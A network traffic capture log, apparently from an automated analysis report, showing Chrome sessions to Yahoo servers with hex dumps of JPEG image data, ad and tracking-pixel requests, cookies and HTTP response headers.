2024-04-27 22:41:59 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 Data Ascii: JFIFXICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@d
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 01 e1 01 e9 01 f2 01 fa 02 03 02 0c 02 14 02 1d 02 26 02 2f 02 38 02 41 02 4b 02 54 02 5d 02 67 02 71 02 7a 02 84 02 8e 02 98 02 a2 02 ac 02 b6 02 c1 02 cb 02 d5 02 e0 02 eb 02 f5 03 00 03 0b 03 16 03 21 03 2d 03 38 03 43 03 4f 03 5a 03 66 03 72 03 7e 03 8a 03 96 03 a2 03 ae 03 ba 03 c7 03 d3 03 e0 03 ec 03 f9 04 06 04 13 04 20 04 2d 04 3b 04 48 04 55 04 63 04 71 04 7e 04 8c 04 9a 04 a8 04 b6 04 c4 04 d3 04 e1 04 f0 04 fe 05 0d 05 1c 05 2b 05 3a 05 49 05 58 05 67 05 77 05 86 05 96 05 a6 05 b5 05 c5 05 d5 05 e5 05 f6 06 06 06 16 06 27 06 37 06 48 06 59 06 6a 06 7b 06 8c 06 9d 06 af 06 c0 06 d1 06 e3 06 f5 07 07 07 19 07 2b 07 3d 07 4f 07 61 07 74 07 86 07 99 07 ac 07 bf 07 d2 07 e5 07 f8 08 0b 08 1f 08 32 08 46 08 5a 08 6e 08 82 08 96 08 aa 08 be 08 d2 08 Data Ascii: &/8AKT]gqz!-8COZfr~ -;HUcq~+:IXgw'7HYj{+=Oat2FZn
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 78 cc 79 2a 79 89 79 e7 7a 46 7a a5 7b 04 7b 63 7b c2 7c 21 7c 81 7c e1 7d 41 7d a1 7e 01 7e 62 7e c2 7f 23 7f 84 7f e5 80 47 80 a8 81 0a 81 6b 81 cd 82 30 82 92 82 f4 83 57 83 ba 84 1d 84 80 84 e3 85 47 85 ab 86 0e 86 72 86 d7 87 3b 87 9f 88 04 88 69 88 ce 89 33 89 99 89 fe 8a 64 8a ca 8b 30 8b 96 8b fc 8c 63 8c ca 8d 31 8d 98 8d ff 8e 66 8e ce 8f 36 8f 9e 90 06 90 6e 90 d6 91 3f 91 a8 92 11 92 7a 92 e3 93 4d 93 b6 94 20 94 8a 94 f4 95 5f 95 c9 96 34 96 9f 97 0a 97 75 97 e0 98 4c 98 b8 99 24 99 90 99 fc 9a 68 9a d5 9b 42 9b af 9c 1c 9c 89 9c f7 9d 64 9d d2 9e 40 9e ae 9f 1d 9f 8b 9f fa a0 69 a0 d8 a1 47 a1 b6 a2 26 a2 96 a3 06 a3 76 a3 e6 a4 56 a4 c7 a5 38 a5 a9 a6 1a a6 8b a6 fd a7 6e a7 e0 a8 52 a8 c4 a9 37 a9 a9 aa 1c aa 8f ab 02 ab 75 ab e9 ac 5c ac Data Ascii: xy*yyzFz{{c{\|!\|\|}A}~~b~#Gk0WGr;i3d0c1f6n?zM _4uL$hBd@iG&vV8nR7u\
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: eb a0 30 77 97 f5 d4 98 60 29 42 17 9d 43 19 0c 08 b4 67 db 4c 61 1a 33 ed a0 04 64 8c 9c 71 9d 00 22 f1 91 c9 1a 09 21 26 43 a0 90 84 91 92 3b e8 23 8c 88 49 19 ce 46 81 8e 96 2c 67 8d 04 03 ac 7a 00 59 63 cf 6d 00 18 42 73 8e da 00 54 45 c7 6c e8 00 fe 56 7b 8d 04 6a c8 6f 20 7f 6f ef a0 85 59 0f e5 8f 6d 04 72 0a c7 f4 d0 20 c6 06 53 8e fa 06 28 90 92 33 d3 fb e8 10 aa 44 79 ca fe fa 63 14 14 fe eb fb e9 b0 e0 5d 20 1d f1 a8 36 27 c8 7f 24 7f 6f ef a6 44 53 ca ff 00 0f ef a0 01 f2 3f c3 fb e9 80 3e 57 f8 7f 7d 21 a5 90 de 5e 81 1c 22 c9 e3 41 16 2a 20 18 fb bf be a3 91 06 f2 be 9a 32 34 b2 0f 92 3f b7 f7 d4 84 18 45 83 90 34 00 71 10 1e 9a 60 77 97 a4 07 79 5a 60 77 97 a4 01 4c 44 ff 00 4f ef a9 20 38 44 73 c8 d3 16 41 f2 0f f6 fe fa 06 28 60 f6 5f df Data Ascii: 0w`)BCgLa3dq"!&C;#IF,gzYcmBsTElV{jo oYmr S(3Dyc] 6'$oDS?>W}!^"A* 24?E4q`wyZ`wLDO 8DsA(`_
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 1c 7f 4e 3f 3d 04 92 cf 71 40 83 40 aa ec 19 63 07 9d 05 4d 80 d1 8f 41 a0 62 91 c2 46 72 34 0a a1 55 8f 40 85 95 31 a0 05 44 3e da 00 51 62 19 c8 d2 6f 03 4b 22 82 2f a6 98 83 88 be 9a 00 11 18 1e 9a 04 c1 f2 c7 b6 82 b6 c3 79 27 db 41 21 4f 27 40 1d e4 e8 00 de 5a e8 00 cb 18 1a 00 37 97 a0 0e f2 f4 01 de 5e 80 00 c3 93 92 bf be 80 0f e5 7f 87 f7 d0 07 79 67 db 40 07 e8 fa 68 16 01 f2 fe 9a 01 9d e5 e8 21 80 7c 9d 44 60 34 58 d3 40 25 d6 3c c0 98 ef f5 d4 89 8b 08 81 1d b5 16 00 f9 23 db 48 00 f2 86 7b 69 67 00 07 97 f4 d4 c0 0f 2f e9 a0 03 f9 23 db 4b 20 26 62 03 d3 4d 3c 80 4f 2f e9 a0 00 f2 f4 01 de 5e 80 3b cb d0 02 6d 12 ff 00 6f ef a0 02 b4 23 d3 8d 00 22 d1 11 fd 3a 4d e0 b1 2c b2 bb 57 e3 bf 83 fb 32 37 b6 d7 6d 0b bd fe f7 4b 2b 45 53 19 a8 58 Data Ascii: N?=q@@cMAbFr4U@1D>QboK"/y'A!O'@Z7^yg@h!\|D`4X@%<#H{ig/#K &bM<O/^;mo#":M,W27mK+ESX
2024-04-27 22:41:59 UTC	977	IN	Data Raw: 94 15 00 f3 dc e7 ea 35 4d 4b 05 89 93 1b da c1 71 9f ec 85 1c 54 d4 4d 24 cb b8 a1 eb 8a 9e 0c f4 93 1b 02 00 00 9e 0e 7f 4d 46 24 57 5d fc 05 4f 6a e4 a3 78 35 e1 d5 4e d6 a2 7b ed e2 9b ca ba 56 a7 4a 23 af cd 04 24 7d d3 ec c7 d7 f0 1a f6 fa 5c 3f 2c cf 39 36 5e 5e 0d 2b cb fa 6b be 71 df dc 03 0e 3d 73 a0 5c 04 f8 76 7f b8 3b 69 64 95 28 06 a4 90 72 46 8c 96 52 84 4c 65 78 1c 67 49 b4 4b 01 4d 36 46 64 46 3e c0 0c ea b6 f9 25 4f 01 27 f8 96 51 18 57 e8 1d 94 8d 4d 2c 96 09 ac 44 e7 e5 fd f5 66 4c c2 c9 0f 7f 97 f7 d4 1b 13 16 48 87 1c 69 a2 0c 54 a6 31 a6 20 c1 34 0d 20 fd 1a 13 c0 f0 28 b1 77 f9 7f 7d 3c 91 7d 85 12 20 39 e9 e7 f1 d4 33 c9 5f b8 a7 97 a6 db 04 b2 18 53 b0 ee 31 a8 3a 9e 46 1d 61 ce 7e 5f df 4d b2 21 cc 04 7f 4f ef a5 90 06 28 8f b7 Data Ascii: 5MKqTM$MF$W]Ojx5N{VJ#$}\?,96^^+kq=s\v;id(rFRLexgIKM6FdF>%O'QWM,DfLHiT1 4 (w}<} 93_S1:Fa~_M!O(
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 2a a6 cd 6e 7e 90 80 37 7e c3 52 57 99 5e d4 88 ea d6 4a 28 bc aa 6a 10 18 70 59 88 d4 97 cc 1e d4 57 2a 70 4f 5c ed 96 3f d3 ed ad 8b b1 50 dd 62 1c f1 a1 54 64 14 58 c0 ce 9d 2f 20 2a 91 8c 80 74 60 4f b0 e0 22 93 83 a5 9c 11 14 58 57 1d b4 c3 b0 65 80 1f e9 1a 69 e0 5d fb 0a f9 2a 07 6d 0d 83 58 47 22 64 fe 3a 8a 68 80 e1 23 50 41 03 b6 8c f0 49 d2 19 c0 6c 64 e3 50 c8 b6 82 91 63 f3 d4 93 0d a1 da 2c e3 8d 49 3c 77 0c 02 b1 e9 77 04 85 d6 23 eb a1 20 c8 74 8f be 46 a2 ea 2b 14 54 ef 81 a8 80 2b 16 33 81 a7 90 15 11 13 fd 3f be 8c 80 3e 4b 0e e3 49 72 07 79 39 fe 9f df 40 98 22 02 7f a7 f7 d0 2e 03 ad 2a 9e 5b f4 d0 08 51 60 41 d8 6a 4d 92 0e 23 07 39 5f df 51 c8 03 e5 2f f6 fe fa 6d e4 81 dd 1f e1 fd f5 1c 80 3e 58 f6 d0 01 7c b3 ed a6 01 92 1c 6a 4d Data Ascii: n~7~RW^J(jpYWpO\?PbTdX/ t`O"XWei]mXG"d:h#PAIldPc,I<ww# tF+T+3?>KIry9@".*[Q`AjM#9_Q/m>X\|jM
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 9b 95 54 52 41 57 6b 11 c2 8c 56 36 71 2c c1 41 e3 0d c4 8d 81 af 21 ae 2c df c1 e9 b4 c7 f2 8c 57 74 f8 93 bd 6f 75 72 49 b9 63 82 e1 5d 4f 2c f1 d3 d4 b5 43 44 c9 09 95 d9 50 ac 7d 3d ba 8e 39 fa 69 c6 a9 58 a7 01 23 e7 bc 99 4e e0 b4 df ef d4 94 36 d2 f2 4a f4 71 98 a0 5a 68 dd e5 2b c6 42 f2 79 38 1c 70 33 8d 62 97 8a 9e 4d 31 72 97 26 8f e1 67 d8 b3 77 ee 99 3e 37 77 b5 ca d1 40 53 3d 15 11 cb 24 cf f4 0a 7e 45 1f 57 20 f6 c0 39 d7 35 d1 4b 35 ef 68 f4 44 72 6d af 02 b6 7d 0e d7 b1 ed ef e1 37 59 e8 12 2a 81 13 26 1e b3 03 a9 fc c0 48 60 49 6c e4 fa 2f b6 a2 a3 e7 b0 3b cd 22 3f 77 f8 e5 5b 70 da 56 ab 7a a4 35 35 94 2c 8f 2d 48 c4 85 64 20 8f 97 dc 67 1c 7a 6b a1 1a 32 f7 29 72 30 c8 8d a9 e2 49 6d af 57 70 dc 71 47 56 f6 7a 88 4d 3a 18 87 4b 44 d9 Data Ascii: TRAWkV6q,A!,WtourIc]O,CDP}=9iX#N6JqZh+By8p3bM1r&gw>7w@S=$~EW 95K5hDrm}7Y*&H`Il/;"?w[pVz55,-Hd gzk2)r0ImWpqGVzM:KD
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 6d 58 a9 48 3a d9 23 ea e7 a3 f3 72 8d 23 0f 7c e9 d2 88 e4 61 24 80 3f 52 c2 06 7d ce 75 6b 5c 64 80 c4 75 b8 f9 a3 43 ff 00 6f fe 5a 8a 79 29 14 8b ad 07 4a c4 80 7f d7 ff 00 96 80 17 0d 31 ff 00 a1 ff 00 bd a1 bc 11 16 1e 71 ef 0f fd e1 a5 90 64 7e e4 eb 16 59 a2 68 9c 79 ef 14 20 f1 fd 72 2a fb ff 00 8b 55 5d 65 b6 96 49 84 63 8f f8 2f fb 7f e3 ab 52 2b 60 af 53 7f d1 b0 fc 71 fe 87 48 ad d3 81 5f 9f fb 4f e9 a3 21 91 45 27 fb 1b f4 d1 91 64 3a 93 fd 8d fa 68 c8 64 30 27 bf 97 27 fe e1 d2 dd 8e e4 9d 2f b2 1d 7c 3b ae 3a e2 99 3e 8d 13 03 aa bc cd b5 ee 5b e5 ae 7b 8a 79 5c 72 b2 1f ff 00 96 da 5e 66 8f b8 79 6a df 74 29 1c 2e 7e e4 12 b6 3d a2 63 fe 9a 3c d5 af 76 53 e5 ae fd 85 5e 27 85 0b 4b 1c 91 e3 ef 75 c6 ca 07 e6 46 a3 e6 6d 7d cb 14 7b a3 da Data Ascii: mXH:#r#\|a$?R}uk\duCoZy)J1qd~Yhy r*U]eIc/R+`SqH_O!E'd:hd0''/\|;:>[{y\r^fyjt).~=c<vS^'KuFm}{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.4	49952	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1164	OUT	GET /fp_ms/_rcv/remote?ctrl=NativeAd&m_id=react-wafer-nativeAd&rid=1sbetl5j2qvpa&m_mode=json&designtype=default HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	575	IN	HTTP/1.1 500 Internal Server Error referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: text/html; charset=utf-8 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-applet-id: react-wafer-nativeAd content-length: 17 etag: W/"11-9VbgaIcEenVDneJO0QQdjtlpjgE" date: Sat, 27 Apr 2024 22:41:59 GMT x-envoy-upstream-service-time: 7 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* X-Bypass-Ssl-Transform: 1 Age: 0
2024-04-27 22:41:59 UTC	1720	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-04-27 22:41:59 UTC	17	IN	Data Raw: 4d 69 73 73 69 6e 67 20 61 64 73 20 61 72 72 61 79 Data Ascii: Missing ads array

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.4	49953	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1091	OUT	GET /px.gif?ch=1&rn=1.9185749898548843 HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	586	IN	HTTP/1.1 200 OK x-amz-id-2: ORw/9LfaxRbGw7IfyrW3fnvH/sW1zr91vw+fKSMAbqt3L1V5ykrDY20Lsyicy0P+T4IongIQySQ= x-amz-request-id: MT0DNNX6Z141216X Date: Sat, 27 Apr 2024 22:41:56 GMT Last-Modified: Wed, 30 Nov 2022 19:09:07 GMT ETag: "b4682377ddfbe4e7dabfddb2e543e842" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 42 Referrer-Policy: no-referrer-when-downgrade Age: 4 Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	1749	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-04-27 22:41:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 01 01 32 00 3b Data Ascii: GIF89a!,2;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.4	49948	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	529	OUT	GET /uu/api/res/1.2/tZay1xySRmlImjQjDsh.RA--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/sacramento_bee_mcclatchy_569/17ba9bec4c2d05668d604a7ee3f22992.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	1283	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 228400104066189594538577105660594253893,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="17ba9bec4c2d05668d604a7ee3f22992.webp" Edge-Cache-Tag: 228400104066189594538577105660594253893,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "f427055802f3e052ca6f363aaaa81eae" Expiration: expiry-date="Thu, 24 Oct 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Fri, 26 Apr 2024 18:00:03 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=14172,owidth=1140,oheight=641,obytes=1591595,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sat, 27 Apr 2024 05:03:22 GMT X-Served-By: cache-lga21940-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 0 X-Timer: S1714194203.855338,VS0,VE1 Age: 63517 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_by: cache-lga21940-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 42095 ATS-Carp-Promotion: 1
2024-04-27 22:41:59 UTC	197	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Connection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 01 1c 02 18 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 01 04 03 01 01 00 00 00 00 00 00 00 00 00 00 06 03 04 05 07 00 02 08 01 09 ff c4 00 57 10 00 01 03 03 03 01 05 05 04 05 07 07 09 06 06 03 01 02 03 04 00 05 11 06 12 21 31 07 13 41 51 61 08 22 32 71 81 14 42 91 a1 15 Data Ascii: JFIFCCW!1AQa"2qB
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 28 da 7a f3 52 85 66 e9 5a cf c2 71 52 98 74 2c 95 28 fc 47 35 36 16 6f bf d2 8b 26 cd fb c1 e5 45 80 aa 1c 18 3c 51 6c 59 0a 21 cc e7 8a 37 31 6d 8a a1 d5 24 e4 28 8a 6d c1 62 89 94 ef 9d 37 24 d0 a1 9c a4 27 0a 56 2a 53 b2 04 7e dd 2d e2 59 69 5b 89 04 8f a5 49 0c 6c 6e 2d b2 ae ed e1 85 8f 0a 94 24 98 c9 eb e3 a1 c5 ad 2e 6d da 3a 79 8a b2 28 a9 b0 7a f3 7d d8 e3 5b 78 42 bd c0 0f 87 ad 58 90 8d 8d 1d bf b5 38 b6 87 5d 4a 90 df 0a 27 c4 78 55 94 28 ba 64 42 53 bb 82 cb 7e 08 c7 52 7c aa 36 8c 99 25 0e f0 f5 b9 4e 09 33 7b c0 48 f8 54 73 c7 f8 d2 d0 cb 90 ea c7 a9 1d 97 0d 2b 8e fa 82 c9 39 05 5d 69 68 90 9e df a9 35 3c 57 bb c6 66 2c 1e 32 14 72 0d 2b 89 14 16 40 ed 43 55 c2 20 7d b3 7e 3e 95 5b 54 82 82 18 5d b0 4e 48 51 91 15 27 38 db cf e3 47 c8 50 Data Ascii: (zRfZqRt,(G56o&E<QlY!71m$(mb7$'V*S~-Yi[Iln-$.m:y(z}[xBX8]J'xU(dBS~R\|6%N3{HTs+9]ih5<Wf,2r+@CU }~>[T]NHQ'8GP
2024-04-27 22:41:59 UTC	1300	IN	Data Raw: 5c 96 1b 64 1a aa 4c 64 a8 46 3c d4 14 fb c0 8c 52 0e 06 6b 5b d4 59 aa 53 2c 9c ec c0 27 3e b9 fe 14 e8 9b e0 67 a3 a4 2d f7 56 85 9c e4 95 8e 7a 7a 57 59 2f b2 70 7d c7 f9 74 1c 5c 35 1a 99 b5 3d 6f 5c 47 5a 3b 48 dc 70 73 c1 f0 ae 6c 9d 1d 94 8a bf 4f fe b2 6c ae 38 df 9f df 5c 9c a6 99 d1 c7 27 f1 83 5c e3 63 15 6c e1 34 09 56 6f 9c d3 90 78 fa c2 1b 2a f2 ab 13 00 5b ed f0 d2 91 0d b7 d2 e3 ce 12 54 12 6a f8 15 49 91 da 78 ff 00 d3 97 05 e3 3d ca 00 f9 e0 62 ac 89 9e 40 eb d2 0a 9f 59 57 bc a2 a3 93 5d cc 65 f6 ec f0 7e 4e 5f 78 67 72 8c e4 d8 a5 b6 86 55 e0 3c ea 5c 5c 83 c5 e4 7b 6d 75 aa c2 9e cc b5 e4 ce ca a1 4a 4e a2 b2 2d 4d ad 65 c0 e3 48 ce 07 91 1e 15 9f d0 f6 fc a3 ea 7a be 43 43 cd 28 c7 ff 00 c0 0b b4 5d 76 ef 69 d7 c7 1d 69 d5 b2 d3 04 Data Ascii: \dLdF<Rk[YS,'>g-VzzWY/p}t\5=o\GZ;HpslOl8\'\cl4Vox*[TjIx=b@YW]e~N_xgrU<\\{muJN-MeHzCC(]vii
